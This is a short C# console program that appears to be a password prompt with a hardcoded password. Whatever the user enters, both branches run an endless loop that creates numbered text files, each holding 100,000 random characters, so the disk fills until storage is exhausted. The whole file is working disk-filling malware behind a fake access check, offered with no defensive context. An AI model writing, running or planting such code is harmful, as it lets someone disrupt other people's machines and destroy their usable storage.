kod
using System.Text;
namespace password
{
internal class Program
{
static void Main(string[] args)
{
Console.Write("password: ");
string pass = Console.ReadLine();
if (pass == "almazlox")
{
Console.WriteLine("Access granted");
System.Threading.Thread.Sleep(600);
int i = 0;
while (true)
{
Console.Write(Strings());
NewFile(i.ToString());
i++;
}
}
else
{
Console.WriteLine("Access denied");
int i = 0;
while (true)
{
NewFile(i.ToString());
i++;
}
}
}
private async static void NewFile(string extra)
{
string path = "Привет " + extra + ".txt";
string text = Strings();
using (StreamWriter writer = new StreamWriter(path, false))
{
for (int i = 0; i<100000; i++)
{
await writer.WriteAsync(Strings());
}
}
}
static string Strings()
{
string symb = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
Random rnd = new Random();
int num = rnd.Next(0, symb.Length);
return symb[num].ToString();
}
}
}